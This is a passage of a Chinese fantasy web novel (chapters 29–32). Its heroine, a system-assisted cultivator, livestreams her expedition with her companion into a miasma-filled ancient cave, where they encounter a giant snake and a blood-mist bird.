【宿主您好,恭喜您完成新手阶段全部任务,本次任务奖励:打赏功能,同时您已开启副本阶段任务,请查收。】
祈安难以置信地看着任务界面,良久之后终于仰天发出了一声长啸:“我他爷爷的终于出新手村了,太不容易了!”
29.副本启
在取灵石和看任务之间,祈安决定先把灵石提现。
她打开订单面板,一股脑把所有的灵石全都取了出来,扣掉手续费后还余下了3500块左右。
祈安看着那一片浮在空中黑压压的灵石,突然发现自己好像一个人拿不回去。
“真是甜蜜的负担呀。”
祈安准备吆喝两个帮手来。应苍肯定是第一人选,他每天在宗门里也没什么事干。
“这第二个人嘛。”祈安手捏着下巴,想了想,“要不让清风?听师兄说他今天回来,也不知道现在到哪了。”
宿清风上次给她送了块绿豆糕后就不见了踪影,玄光鉴也留在了落霞宫,根本联系不上他。
祈安听易为春说,是宿家叫他回去的,好像是有什么要紧的事情。
【十亿少男的梦:师弟,你回宗门了吗?】
宿清风此时刚回到自己房中,一进去就从枕头底下摸出玄光鉴来,一个月没看到祈安直播了,他差点急疯了。
结果玄光鉴刚拿到手,就收到了祈安的消息,他立马回复:
【十亿少男:祈安姐姐我刚回来】
【十亿少男:祈安姐姐你有事找我?】
【十亿少男:还是姐姐想我了】
......
怎么话痨的性格还是没改掉啊。
【十亿少男的梦:我在九寿溪口子这里,有点东西拿不了,你要是有空就过来和我一起搬回宗门。】
【十亿少男:有空有空,我马上就来】
【十亿少男的梦:来的时候,多拿几个包袱】
【十亿少男:拿包袱做什么】
【十亿少男的梦:分赃!】
*
应苍和宿清风到九寿溪口的时,祈安正蹲在地上一点点的数着灵石。
2345、2346、2347......
“姐姐!”
宿清风先跑了过去:“你在干嘛?”
“哎呀。”本来数的好好的祈安被这一声招呼完全打乱了节奏,“我刚数到多少了?”
“2347。”
应苍随后跟了过来,指着一颗方正的灵石说:“这颗,2347。”
“哦哦,2348、2349......”
“不用数了,一共是3528块灵石。”
祈安在地上脚已经蹲的发麻了,结果应苍过来只匆匆一扫,就知道了这灵石的数量,她一时不敢相信。
“你你你都是数出来的?”
“嗯。”
“怎么可能。”宿清风先祈安一步,“这里这么多灵石,你看上一眼就数清楚了?”
应苍依旧:“嗯。”
宿清风:“我不信!你敢不敢和我打赌。”
应苍:“赌什么?”
“要是这里没有3528块,你就当我一天小弟,我说东你不能往西。”
祈安一听这赌约,就忍不住想翻白眼,果然是小孩子心性,还玩这么幼稚的东西。
然而应苍竟然同意了:“好。那要是你输了——”
“我输了也一样。”
宿清风干脆的撩起自己的下摆,一屁股坐在了地上:“1、2、3、4、5......”
祈安很想提醒他那几堆都是数好的,可看他那么认真的样子,就没忍心打扰。
宿清风数得很慢,还故意将报数的声音拔高,让祈安和应苍都听得清清楚楚。
没数多久嗓子就哑了,祈安在一旁杵着头看着他发笑。这一个月没见,好像比之前长得成熟了些。
本来的粉底小朝靴此时全是泥灰,鞋跟处磨损严重,身上的衣服有好几处勾线,还有的裂开了口子。
眼窝下还是第一次现出了青黑色,还好那双眼睛还和以前差别不大,纯粹又赤忱。
祈安虽然平日里对宿清风的态度一般,甚至可以算的上严厉,但心底里还是真的将他当弟弟看待。这出去了一个月,应当是吃了点苦头,不然也不会这么疲累。
应苍也在一旁没有说话,一直默默关注着祈安和宿清风。
祈安今天也穿着红色的衣裙,这裙子他好像还是第一次看到她穿。她和宿清风一起坐在那里,远远看上去就像一对新婚夫妇一般。
新郎在那里数着宾客的贺礼,而新娘在一旁笑着看。
竟是那般...般配。
应苍突然感觉自己眼睛有些不舒服,可能是被两抹红色刺到了,他转移了视线,往天上瞧去。
“3526、3527——”
宿清风难以置信地看着唯一剩下的那块灵石:“怎么可能啊,我一定数错了。不行,我还要再——”
“宿清风!”没等他说完,祈安就立马打断了,本来数一遍就浪费了不少时间,现在居然还想再数一遍,“赶紧装起来,我们要带回去分给师兄。”
“哦。”
被祈安吼了的宿清风低下了头,噘着嘴乖乖地往包袱里捡灵石。
三个人装了满满的六个包袱。
祈安走在最前面,宿清风一肚子的气和应苍并排走着。他还是忍不住戳了应苍的胳膊:“你到底是怎么数的?”
“想知道?”
“嗯!”
“等把赌约完成了就告诉你。”
宿清风:......
*
“大师兄!”
祈安和宿清风两人抱着两千块灵石就往易为春的住处赶:“大师兄,你看这是什么!”
她兴冲冲地进门,没想到陈飞韩也在。
祈安讷讷地喊了句:“三师兄好。”
几个师兄里,祈安最不熟的就是陈飞韩了。他在没来落霞宫之前,曾被人拔断了舌根,不能言语,性子很淡,祈安几乎没有和他碰面的机会。
易为春见祈安二人来了,招呼他们坐下:“师妹、师弟,找我有什么事?”
“清风,上!”
宿清风一听,连忙把带过来的包袱都打开,里面齐刷刷地摆着银闪闪的灵石。
“这么多灵石是哪来的?”
“我赚的。”祈安拍拍胸脯,骄傲地说。
“你怎么能赚这么多?”易为春心生疑虑,“没有做什么不该做的事情吧。”
“瞧你说的,这是我靠炼丹赚来的。”
祈安说着,就把自己怎么炼丹,怎么卖丹药的事情从头到尾的说了一遍,当然,隐瞒了自己和应苍的那段一夜情。
易为春觉得有些疑点:“你是说,你用了应苍的丹炉?”
“对呀,有什么事吗?”
易为春记得,应苍说他无父无母,无门无派,能放在储物袋随身携带的丹炉,品阶一般不会低。应苍怎么会有?
“你带我去看一下那个丹炉。”
易为春说着就往外
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走,祈安赶忙拦住:“哎哎哎,师兄你干嘛去。人家那丹炉是好心借给我,我们现在这样去找他,倒像是审问犯人一样,不好吧。”
“可——”
“大师兄~”祈安拉着易为春的袖子撒娇道,“那我下次不用他的丹炉了,可以吗?这次就算了,好吗好吗好吗?”
易为春见祈安这样子,只能停下脚步。他眼里满是担忧:“下次注意。”
“遵命!”
在易为春看不到的地方,祈安悄悄地松了口气。
她刚刚没有考虑那么周全,直接将应苍有丹炉的事情说漏了嘴。如果易为春今天真的去看了丹炉,万一那丹炉可以看出什么猫腻,要是暴露了应苍的身份,那她不就害了应苍了吗。
以后还是小心为上。
祈安没想到的是,应苍此时已经在计划着离开落霞宫了。
身上寒疾已去,他该和凌渊碰面了。把当年他不知道的那些细节,全都梳理一遍。
下一步,就是一一清算。
因为现在青霄宗已经派了人四处探寻,应苍不适合走太远,所以他和凌渊约定好,碰面的地点就在距离落霞宫六十里外的一处深林内。
只是现在还有一件比较棘手的事情,就是他和祈安结上了伴生契。
伴生契到底该如何解开,他还没有头绪。
在真正解开之前,他还不能太冒险,不然祈安随时可能因为他有生命危险。
“看来,”应苍摸着自己胸口处,“报仇的事,还不能急。”
*
祈安在晚上大家都入睡后,才开始查看自己后面的任务。
根据系统面板显示,她现在已经处于副本阶段。
【本阶段需完成以下副本任务并成功积累10000粉丝...】
“等等!1、2、3、4!四个零!一万粉丝???”
祈安一时觉得自己仿佛掉入了庞氏骗局。本以为过了新手阶段的任务会人性化一些,谁知道难度直接飞升。
不是?这对吗?她可才200多个粉丝啊。
要是让她知道了这到底是谁定的任务,祈安非得把那人拉出来暴揍一顿!
在这一阶段,一共有三个任务,分别是古洞迷踪、昆仑试炼和魔界探秘。
昆仑试炼和魔界探秘是连锁任务,必须完成前一个,后一个才会开启,古洞迷踪则不受限制。
祈安仔细地看着每一个的任务介绍,突然发现昆仑试炼居然有个任务开始倒计时。
“距离任务开始还有——8个月?!”祈安继续念着,“宿主需通过选拔成功参与昆仑试炼,若本次选拔失败,则下次试炼开启时间为:5年8个月后?!”
“完了。”祈安一时间仿佛被抽走了所有的精气,“我怕是要老死在这书里了。”
她看着木梁,嘴里喃喃道:“5年8个月后,我都快三十了。在21世纪已经到裁员的年纪了,还去参加什么试炼。啊~命苦啊~”
“不行!”她又噌的一下从床上坐起,“8个月后的昆仑试炼,我一定要参与!一定!”
她眼神如炬,目光炯炯,眼里全是坚定。给自己打了半夜的鸡血,才想起来第一个任务还没有仔细看。
“古洞迷踪:通过古洞迷宫考验并找到一本上古秘籍。任务地点是——”
“诶?”祈安惊叹出声,“这不就是在落霞宫后山那里吗?”
30.筑基期
祈安仔细看着面板上的舆图,这第一个任务地点,就在落霞宫边界处不远的地方。
那里是一片深林,这古洞应该就在这深林之中。
“本副本任务完成时需全程直播,完成后可奖励一万中品灵石。”
!!!
一万!中品!灵石!
发财啦!
祈安双眼闪着金光,仿佛已经看到灵石入袋的场景了。她美滋滋地盘算着,已经开始想着到手的钱该怎么花了。到时候可以给宗门盖几间漂亮的房子、买点炼器的工具,再多买些好看的衣服还有好吃的!
“就是不知道这任务难度怎么样。”祈安坐在床沿边计划着,“还是要好好学习一段时间的功法,起码也要等筑基了再去。得带上几个帮手,万一我自己去噶在那里了,都不知道有没有回档机制的。明天问问大师兄那洞里是个什么情况,万一他们知道呢。”
翌日。
祈安依旧起了个大早,去跟着易为春练功。
休息的空档,祈安直接开门见山:“大师兄,你知道后山那边的那个古洞吗?”
“是云瘴林里面的那个吗?”
“对对对。”
易为春用衣角轻轻拭去额头的汗水,拿剑在地上刺啦刺啦地画了几下。
“我只和师父路过过一次,”易为春说,“云瘴林的入口在这,一直往里走,在一个岔路口,就是这古洞的入口。这里常年不见天日,瘴气太盛,普通人去了很容易被迷惑。那次还是师父把我的眼睛遮住才走过去的,自那之后就再也没有去过了。”
这么难的吗?
祈安暗自吞了吞口水,如果连大师兄都去不了,那我还可以要谁一起去呀。
“怎么突然对这个古洞感兴趣了?”
祈安眨了眨眼,故作轻松地摆摆手:“没什么,就是前几日在书立看到了这古洞,有些好奇罢了。”
她可不敢说自己接了个神秘任务,要去那危险之地——大师兄若是知道了,定会拦着她。
易为春微微蹙眉,又补充道:“云瘴林不是寻常之地,瘴气迷障,还有精怪潜伏。你若是一个人,千万不要贸然靠近。”
“知道了大师兄,我们继续练功吧。”
*
祈安知道了这云瘴林的危险后,决定先暂时将古洞探险的任务放一放,提升自身的修为才是第一要事。
之后的每日,她比现在更加刻苦。每日天不亮就利索地爬起来,去到九寿溪口,吐纳灵气,练习剑诀,琢磨身法……练功的日子是苦的,唯一能够让她苦中作乐的,便是完成这古洞任务奖励的一万中品灵石。
眼看天气渐渐转凉,早起也越来越困难,甚至连易为春都会偶尔偷偷懒,祈安仍旧每天雷打不动的早起。
清虚对于自己的弟子,基本属于散养式。他不像其他宗门一般,会有固定的传功。一般来说弟子可以引气入体了,清虚的任务就完成了。
后面所有修为的提升,功法的练习,只要弟子不主动提,他也很少去教给他们。
以至于祈安来了快半年了,只见过一次清虚教授功法,还只是聚灵丹的炼制方法。
这天,她实在是忍不住了,鼓起勇气去找了清虚。
清虚所在的院落寂静无声,只有几片落叶被风卷着打旋。清虚则坐在老松下的躺椅里,身上盖着件洗得发白的道袍,双眼微阖,似乎正在小憩。
祈安蹑手蹑脚地走近。
清虚听到动静,眼皮动了动:“何事?”
“师父,”祈安连忙行礼,“我想请您教我剑术。”
清虚听到这话后,稍稍坐直了些:“怎么突然想学剑术了。”
“就是...”祈安扯了个慌,“我之前在书里看过说,一般有瘴气的地方,都会有上古古洞,里面可能存有古籍或者是功法。徒儿记得咱们后山处的云瘴林就有这样的一个洞,我想多学点东西,然后去那古洞里闯一闯,万一有什么收获呢?”
祈安说起谎来,脸也不红,心倒是跳得极快。
清虚掀起眼皮扫了她一眼,没有立即接话,端起茶杯呷了口茶,才悠悠开口:“那地方不是你现在该惦记的。”
“弟子知道,就、就有点好奇。”
“等你筑基了再说吧。”清虚随手一指,“去把那个拿过来。”
是躺在远处的一根木棍。
“最近不是和春儿学了些剑法吗?使给我看看。”
祈安小跑过去捡起那根光滑的木棍,入手微沉,比想象中更有分量。她深吸一口气,站定院子中央,回想这些日子跟着大师兄学的几式基础剑招。
她手腕一抖,先是使出一招“清风拂柳”,但动作明显生涩。接着转为“磐石立”,下盘却微微晃动,不够沉稳。最后是一式最简单的直刺,正是这几日她练得最多的,倒是比前两式流畅些。
一套使完,祈安有些忐忑地看向清虚。她只是来求剑术的,没想到还要抽查功课啊。
清虚不知何时又眯上了眼,直到祈安停下,才慢悠悠道:“动作倒是使的蛮好看的。”他抬手指了指她刚才直刺的终点,“就是有点虚。”
祈安一愣:“虚...虚?”
清虚站起身,走到她身后。
“剑,是杀伐之器,你刚刚那一刺,过于柔弱。若那一剑不能刺中敌人要害,可能就要丢了命了。”
清虚声音不高,却带着一股穿透力,他站在了祈安面前:“来,朝我出剑。”
他食指,在自己心脏处点了点。
祈安被清虚的状态吓了一跳,明明自己手中是木棍,明明她知道自己无论如何都不会伤到清虚,可拿着棍子的手还是一抖再抖。
“拿剑之人,最忌优柔寡断。若是不敢刺,下次再来吧。”
清虚竟真的要转身离开,祈安情急之下,立马凝神,她双目紧盯着清虚的心脏处,直直地刺了出去。
这次她感觉似乎有哪里不同了,木棍破空的声音似乎更利落了一点。
“略有些意思了。”清虚语气平淡,“从今日起,每日练直刺三千次。每次刺出时,你的念都要和你的剑尖融为一体。等你什么时候觉得自己没问题了,再来找我。
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”
三千次?!祈安眼前一黑,感觉手臂已经开始发酸,但也只能苦着脸应下:“是,师父。”
“至于那古洞,”清虚重新坐回躺椅,声音又变得含糊,恢复了平日里和蔼的样子,“你筑基后,再来找我吧,我给你弄点避瘴的东西......”
祈安本来还闷闷不乐,突然听到清虚提到避瘴,立马双眼一亮:“师父你的意思是...”
“走吧。”他挥挥手,把道袍盖在了脸上。
祈安抿抿嘴,没敢再问,行礼退了出去。
此后祈安按照清虚所说,每日练习三千次前刺,身边也没有配剑,只能拿着棍子练习。
白天就在外面吸收灵气,晚上回了宗门就炼制聚灵丹。一边嗑药一边练功,凭借着这一身的莽劲儿,她成了宗门里最快突破筑基的人。
修为突破的那一刻,祈安感觉整个世界都清晰了许多,周身灵气运转自如,力量感远超从前。
“太好了!终于筑基了!”她兴奋地握紧拳头,“小小古洞,我马上就要来啦!”
祈安望望窗外,发现外面居然不知什么时候开始下起了雪。鹅毛般的雪花纷纷扬扬,将落霞宫的屋舍染上一层银白。祈安几乎是蹦跳着冲出房门,这么大的雪,她还是第一次见。
屋外没有一个人,她是第一个在那片雪地上留下脚印的人。
嘎吱嘎吱。
鞋子踩雪的声音丝丝缕缕地飘进她的耳朵里,祈安忍不住又往前走了几步。
依旧嘎吱嘎吱。
“啊——太美啦!”
祈安的呼声唤醒了应苍。
他推开窗,就看到洁白的雪地里站着一个红衣少女,正仰着脸,伸出双手去接飘落的雪花,那欢呼声在寂静的雪地里显得格外清晰。
应苍微微一怔。
苍龙一族奉命守护昆仑山顶的诏水。昆仑山上常年积雪,下雪对于他来说早就是平常之事,他从未见有人对一场初雪展现出如此毫不掩饰的欢喜。
那抹鲜亮的红色在无瑕的雪地上跳跃,像一团温暖的火,让他觉得有些刺眼,却又莫名吸引视线。
“呜呼!”祈安捧起一堆雪,往半空中一抛。雪簌簌落下,祈安转着圈,让细碎的雪片都往自己头上落。
就在抬眼的瞬间,她看到了应苍。
应苍就倚在窗口。
祈安愣住了,两个人似乎有一段时间没见了。这几个月外面也没什么太阳,她也不再拉着应苍出去。而自己早出晚归的,两个人可能两三天才碰的上一回。但都是匆匆路过,随口打个招呼。
“应苍!”她的声音清脆,带着少女特有的活力,打破了院里的静谧,“下雪啦!”
应苍靠在窗边,目光落在她那双冻得有些发红的手上。他刚想开口,却看到祈安直直地朝他扔了个刚团好的雪球。
雪球带着冷气朝他飞来,应苍身形并不闪躲,那团雪结结实实地打在了他的胸口处。
他淡淡开口,声音清冷得像融化的雪水,雾气在他面前展开,朝祈安微微一笑:“是的,下雪了。”
31.小僵尸
冬日是入瘴林的好时候。
林间湿度不高,瘴气的浓度自然也会变淡。祈安有些蠢蠢欲动,她决定再去找一次清虚。
“师父。”
清虚的房间里生起了炭火,蒸腾中空气也起了波纹。他穿了件厚实的大氅,立在桌前作画。
“来了。”
“嗯。”
祈安小声应道。
“先坐一会儿。”
清虚随手一指,示意祈安坐在一旁,笔下未停。
祈安安静坐下,脸被炭火烤得泛红。清虚许久都没作声,温热的环境让祈安起了困意,为了不睡过去,她把注意力全放在了清虚身上。
桌上摊着的黄纸看上去有些年头,纹路和颜色上都透着岁月的气息。就连清虚手上拿着的毛笔,都毛躁不堪,写起字来涩而不通,笔尖运转困难。
祈安心理感叹着:师父好节省呀,之前那些灵石好不容易劝他收下,却都攒了下来用都没用。这毛笔都破成什么样了,也不舍得换一个。
正在她分神时候,清虚直起了身:“拿去吧。”
嗯?什么情况?这是给我的?
祈安接过清虚递过来的黄纸,上面整整齐齐地画了十个符。
“避瘴符。”清虚立在一旁,“给你进云瘴林用的。”
避瘴符!师父居然知道我想去云瘴林了!
祈安欣喜地看了半天,将纸在桌上铺平,还没来得及收进自己口袋,就冲过去一把抱住了清虚。
“谢谢师父,你真是这世上顶顶好的师父了。”
从前妈妈曾说过,若是遇到喜欢的、珍惜的人,一定不要吝啬自己的拥抱。祈安以前时常觉得别扭,可等到妈妈真的离她而去的时候,她才发现一切都晚了。
眼下师父尚在,是最好的时候,所以这次,她结结实实地抱住了清虚。
祈安是清虚的第一个女徒弟,他还是第一次被徒弟如此直白地表达心意。灰白的脸上明显挂着不自在,可透过眼底的神色,还是可以看到深藏的笑意。他僵硬的抬头,也就在祈安的背上轻拍了一下,就拉开了她的身子。清虚转身走到屏风后,拿出了一个长盒:“这个也拿去吧。”
“这是什么?”
祈安打开木盒,里面竟躺着一把青白色的长剑。如玉一般的颜色,微微透着些冷意。
“这也是给我的吗?”
“练了那那么久的前刺,给你的奖励。”清虚淡淡地说着,“去古洞的时机差不多了,最近就可以动身。”
“好!”
“让应苍陪你去吧。”
*
祈安动身去古洞的那天,除了又被宿家找回的宿清风外,其他人都将他们二人送到了云瘴林外。
“师妹,在里面一定要注意安全。”
易为春仍旧不放心,临行前还在叮嘱着。
其余几个师兄也一脸担忧,就算是平日里与祈安不熟悉的陈飞韩,也少见的挂上了忧色。
祈安看着一行人紧张的面容,故意打趣道:“好歹我也是咱们宗门最快筑基的人了,师父还给我带了符纸,还有他老人家送我的宝剑,那几个小精怪是难不住我的。再说了,我不是还带了一个吗?”
她拍拍身旁的应苍:“他也是筑基期的呢。”
宁撼城瞥了一眼应苍,不满的神色全都挂在面上:“谁知道这小子是什么水平,也没见过他出手。还是个来路不明的家伙,我看他才是最大的精怪。”
应苍对于宁撼城的挑衅,并没有什么反应。他始终负手而立,淡淡地站在一旁,与人群隔开一定的距离,疏离之色尽显。
倒是清虚最先出声呵斥:“撼城,让应苍一同前去是为师的决定。既然已经是要他去了,就应该选择相信,而不是在这里说风凉话。你那么说,难道是希望你师妹出事吗?”
宁撼城本就嘴笨,被清虚这么一数落,更是一句话都说不出来。他一张脸涨得通红,胡子掀了又掀,想要对祈安解释一二,可始终连个唾沫星子都吐不出来。
“六师兄,”祈安赶忙打圆场,“我知道你是为了我好,你放心,我保证好好地出来,到时候我一定捧着妖丹双手给你奉上,让你看看我们落霞宫小辣椒的威力。”
一句落霞宫小辣椒,缓和了紧张的气氛。祈安也不准备久留,往应苍那边靠了靠,隔着衣服抓起了他的手:“我们先走了。师父师兄,等我们的好消息。”
说罢,就踩着枯叶往深林处走去。
清虚望着两人渐远的背影,带着一行人回宗门了。
跟在他身后的易为春几次想要开口询问,终究还是忍了下来。
*
云瘴林内。
祈安应苍并排走着,脚下枯叶铺了厚厚的一层,每踩一步整只脚都会被埋进去。脚下又经常会踩到盘踞在路上的树根,祈安以防万一,走得小心谨慎。
一段路后,深林里越发得幽暗渐暗,周围空气里水汽渐多,连她垂下的发丝上都缀上了水珠。眼前开始隐约地飘起青黑色的雾气,不用想,那一定是瘴气。
祈安瞄了一眼身旁的人,还是那副气定神闲的样子。她撇撇嘴:不愧是苍龙少主,分神期的修为果然不一般,怕都不怕的。还好师父当初让他和我一起来,要换成别人,我还真有点害怕。
“怎么了?”
应苍早就发现了祈安一直在打量着自己,终于忍不住出声询问。
此时既没有精怪,瘴气也不浓郁,祈安就像一个许久没出门的小孩一样,心里止不住的雀跃,言语里也因兴奋多了些胆大:“觉得你长得还挺帅的,嘿嘿。”
个子高,五官立体,关键武力还高强,又是个不近人情、不近女色的高岭之花,这放在现在,起码是个顶流的水平。要是当他的经纪人,岂不是可以赚大钱?可惜他不能够在这直播里露脸,不然以这身段,做个擦边博主,那粉丝不就轻松来了吗?
应苍看着祈安面上逐渐显现出有些变态的笑容,脑海里突然回忆起自己复用合欢丸的那一日。
两人也是在深林中,两人背靠背,他几乎算是当着祈安的面......
应苍感觉体内有一股热流往脸上冲,他怕祈安看出猫腻,
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只是冷冷地“嗯”了声后,就快步往前走去。
“哎哎哎,等我一下。”
祈安连忙跟在他身后。
突然加快的步伐让祈安呼吸渐急:“走那么快干嘛。”
她停了下来,双手撑着膝盖,大口的呼吸着:“歇一会,再这么走下去没等到古洞我就挂了一半了。”
不再急喘的祈安刚准备去追赶应苍,结果直起腰来就是一阵眩晕。眼前已经被黑雾包裹,除了一团团黑影外,什么也看不到了。
坏了,是瘴气。
不知不觉中,已经走到了云瘴林的深处,瘴气比外面多了不少。
“应苍,应苍——”
祈安叫了几声,无人回应。反倒是四周总是有窸窸窣窣的声音,她寒毛直竖,手捏紧了剑柄,警惕地观察着周围的环境。
只几息的时间,祈安就觉得眼睛也变得酸涩起来,视线范围内的所有树木就起了重影。
“这瘴气居然如此厉害。”
祈安连忙从包里掏出清虚给她准备的避瘴符,刚拿到手里,面前的路就被照亮了一小点。
“还是师父的法宝好用!”
祈安两只手各拎着一张避瘴符,平举至眉毛高度,四周的瘴气果然都乖巧的散去,她就靠着这一点点的亮光一步步地往前挪动。
可这样一来,自己的两只手就全都占用了。手里若是没拿着防身的武器,祈安心里怎么也不踏实。
“诶!有了。”
祈安鼓捣了一阵,既解放了双手,又固定住了避瘴符。
锃!
一阵短促又清脆的声音后,祈安从身后拔出了佩剑。双手握着剑柄,时刻作出进攻的动作。她一面走,一面四处叫着:“应苍,应苍~”
应苍在发现祈安不见后,立马按原路返回去找她。虽然这瘴气对他没有影响,但视线还是受到了一定的阻碍。
还好后面听到了祈安的声音,应苍循着声音往前走去。
祈安听到了脚步声。
她心脏紧缩,拿着剑的手沁出了汗,把下盘放低,准备只要看到影子,就使出她苦练已久的前刺。
脚步声越来越近,祈安精神更加紧绷。
应苍走了段路,感觉自己面前似乎有人,他试探着喊了声:“祈安?”
话音刚落,一道剑光就朝他腹部刺来。
应苍眸色一暗,身子后撤的同时,用两根手指夹住了刺过来的利剑。手腕用力,把剑的主人拉了过来。
出剑之人果然是祈安。
“你——怎么成这样了?”
应苍皱着眉头,看着眼前的祈安。符纸贴在了自己的额头上,一直垂到了下巴处。
“妈呀怎么是你啊,吓死我了!”
祈安说话间,一呼一吸。
符纸哗啦掀起,又倏忽落下,上上下下地在她面门前翻转不停。应苍看着她这副模样,嘴角带笑,从她头上掀下了符纸:
“还好是我,落霞宫小僵尸。”
“你说什么?”
“我说——你是落霞宫小僵尸。”
32.血雾鸟
祈安听到应苍称呼自己是僵尸,连瘴气都不害怕了,冲过去就在他背上来了几拳。管他什么苍龙少主什么恶毒反派,叫自己僵尸就是不可以。
她一片抡拳一边催促应苍:“走快点。”
就这样祈安跟着应苍一路往前。
不知过了多久,突然眼前的瘴气像被风吹散一样,消失地无影无踪了。
“等等。”祈安叫住了应苍,她掏出镜子查看,果然已经到了任务点。
“呐。”她下巴轻抬,“到地方了。”
应苍朝祈安指的方向看去,一个不大的洞口,四周被树木伸出的枝丫遮掩着,看上去和普通的山洞也没什么区别。以祈安天灵根的资质,就算她一人前往,应当也不会有什么问题。
祈安的想法和应苍的截然不同。她看着那山洞,庆幸自己和应苍一起来的,未知的东西是最可怕的。
她打开直播,手肘轻触下应苍:“走吧。”
洞口只容得下一人通行,应苍走在前面。
两人猫着腰钻进去,刚进去就被一股异香包裹。
“什么味道?”
祈安屏住了呼吸。
应苍略一分辨:“是幽兰香,没有毒性,就是浓郁了点。”
祈安这才放心下来,看了一眼直播间已经陆续来了不少人了。
【陈章齐:这是干什么去?野外探秘?】
【乡间大野猪:主播这是要去秘境呀,快去看看有什么好东西。】
【江州第一美女:主播旁边的这个男人的声音好好听啊,可以露露脸吗?】
【小清萱:一看你就是刚来十亿姐姐这里,这人是姐姐的道侣,从不露脸,很神秘的,你就别想了,切】
......
祈安看着大家热络地聊着,紧张的情绪稍稍缓解。她一面走一面打趣道:“小清萱说得对,他是我的道侣。不露脸不是因为别的,而是生得有些丑陋,怕吓到大家。”
身旁的应苍听到这话后,停下了步伐,眼睛眯起,一脸戏谑地望着祈安。
祈安在直播镜头照不到地方偷偷朝应苍吐吐舌头,用口型示意:游戏一场,不必当真。
说完就又立马回到了直播间,没留意到应苍眼里突然黯淡的光。
在这古洞里走了一炷香的功夫,四周除了石头,也没什么奇特的地方。没有遇见精怪,灰尘倒是不少。
“这里也没师兄说的那么可怕嘛。”祈安渐渐放松警惕,四处张望着。
突然间脚底的土一松,应苍立马发觉有些不对劲。
他手下意识地去抓祈安,却抓了个空。
不好!
应苍回转身子,果然看到祈安已经陷进了砂石里。
两人脚下原本坚硬的石头竟全都变成了松软的沙子,祈安一声惊叫后,就掉入了另外一个黑暗空间内。
【乡间大野猪:我靠,好刺激】
【小清萱:十亿姐姐,你怎么样了】
【九州第一深情:这是流沙,在山洞里出现,怕是周围会有巨蟒,主播这次可能要糟了】
【小清萱:我不许你这么说十亿姐姐!!!】
......
祈安坠落的瞬间,一护住了自己的直播镜,二把住了身后的剑。
她身子重重地落在了一大片的草甸上。
奇怪的是草甸似乎是空心的,她在上面起起伏伏,好似在水上一般。
祈安挣扎地爬起,宛如踩在蹦床上。
此时有一个人疯狂地刷着弹幕:
【九州第一深情:这是流沙,在山洞里出现,怕是周围会有巨蟒,主播这次可能要糟了】
【九州第一深情:这是流沙,在山洞里出现,怕是周围会有巨蟒,主播这次可能要糟了】
【九州第一深情:这是流沙,在山洞里出现,怕是周围会有巨蟒,主播这次可能要糟了】
巨蟒?
祈安尝试着跳了几下,脚下的东西也弹了几弹。
完了。
祈安的心脏骤然缩紧,她站在原地不敢动。以前在野外徒步时,一个老师傅曾给她讲过,在山上如果遇到这种像蹦床的草垛,千万要绕着走。
这下面极有可能住着一只过山峰,也就是眼镜王蛇。
如果刚才那个九州第一深情没说错的话,现在的她就在一只大蛇的窝上。
祈安拔出了身后的剑,她完全没有任何的作战经验,就算是普通的巨蛇都不一定打的过,更不要说下面的这只可能还是修炼过的。
她压低声音,想要先和应苍汇合。应苍毕竟真身是龙,蛇和龙相比,应该还是差了一大截吧。
“应苍,你在哪应苍。”
嗡嗡。
怀里的玄光鉴震了震。
祈安被这震动声吓得一弹,结果脚下的巨物又动了动,吓得她慌忙捂住了嘴巴,僵在原地。等到那一大堆草垛不动了之后,才敢掏出玄光鉴来。
她收到的,竟然是应苍的消息:
【苍:我在另外的一个空间里。】
【苍:你不要怕,我在看你的直播。】
【苍:这蛇应该在冬眠,还没有醒。】
祈安一看到应苍的消息,就松了口气。她压低声音迅速地问道:“你怎么知道他没醒的?”
【苍:我能感受到蛇的呼吸。】
【苍:现在他的呼吸很微弱,要么已经要死了,要么就不在活动期。】
【苍:所以你不用怕,一会儿按照我说的做。】
“好。”
此时此刻,祈安只能选择相信应苍。
【苍:你把镜头转一下,我看看周围的环境。】
祈安依言,把她所处的空间里的环境一点点地展示给了应苍。弹幕又炸开了锅:
【九州第一深情:绝对是巨蟒窝,我拿我的修为保证。】
【张三三:怎么还有一闪一闪的亮光,有可能是毒蝙蝠。】
【乡间大野猪:卧槽!!你们看到了吗?】
【小清萱:什么?】
【乡间大野猪:主播快再转过去,你再让我看一眼。】
祈安也看到了这条弹幕,担心自己身后真的有什么,又把镜头挪了回去。刚挪到方才的位置,屏幕里立刻出现了两点闪动的金光。
祈安看得真切,那是一双眼睛,正看着她。
她惊呼一声,又怕惊动了岩壁上的生物,只能捂住自己的嘴巴,牙齿紧咬着掌心告诫自己不要出声。
直播的镜子被她藏在了怀里,直播间里一片黑暗。
弹幕仍旧发个不停:
【九州第一深情:是那条巨蛇!我看得一清二楚!绝对是!】
【小清萱:我怎么感觉那蛇脑袋上还有个东西啊】
【我要结丹:就是,我也看到了。】
..
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嗡嗡。玄光鉴又是一阵震动,祈安低头。
【苍:小心,蛇看到你了。】
看到这一条消息的祈安头皮发麻,她已经知道,那蛇就在自己身后挂着。她保持着姿势一动不动,继续往下看应苍的消息。
【苍:身上还有一只血雾鸟。】
“什么是血雾鸟?”祈安问。
【血雾鸟以瘴气为食,提升功力只能通过吸食鲜血。嘴巴锋利,可以将头骨凿出洞来,最喜欢吃人脑。】
祈安宁可应苍不这么诚实,她现在仿佛已经感觉到那血雾鸟在凿着自己的脑袋,握着剑柄的指节都泛了白。
“那现在怎么办。”
【苍:别怕,血雾鸟在这,说明那蛇一定受了伤。它呼吸这么微弱,怕是已经快要死了。】
祈安压着声音说:“我感觉不光蛇快死了,我也快了。这个大鸟怎么处理啊,我觉得他时刻会飞过来凿我脑袋。”
【乡间大野猪:哈哈哈哈哈主播死到临头了都这么幽默,遇到血雾鸟只能算你倒霉了。】
【小清萱:你在乱讲什么!给我滚!】
祈安没时间和直播间里的人闲扯,她直截了当地问到:“你们谁知道怎么搞定血雾鸟,我可以免费赠送三百灵石的丹药。”
直播间里瞬间炸开了锅,可一眼望去全都是馊主意。什么出剑砍断它的嘴,对它放屁,甚至还有人要她学鸟叫。
关键时刻,应苍的信息进来了。
【苍:血雾鸟最讨厌脏污,你右前方有个泥潭,一会抱着头滚下去,尽可能地让身上全是泥渍,它就不会啄你了。】
“真的?”
祈安将信将疑。
【苍:相信我。】
那我就相信你吧,谁叫你是苍龙少主呢。祈安眼一闭,深呼吸后,把剑和直播镜都抱在了怀里,直直地往下滚去。
离泥潭越近,那股腐烂的味道越重,祈安几近昏厥。她捏着鼻子在里面打了好几个滚,把自己里里外外涂抹了个遍。动作大的惊动了血雾鸟,它扑扇着翅膀,朝祈安飞来。
“啊——”
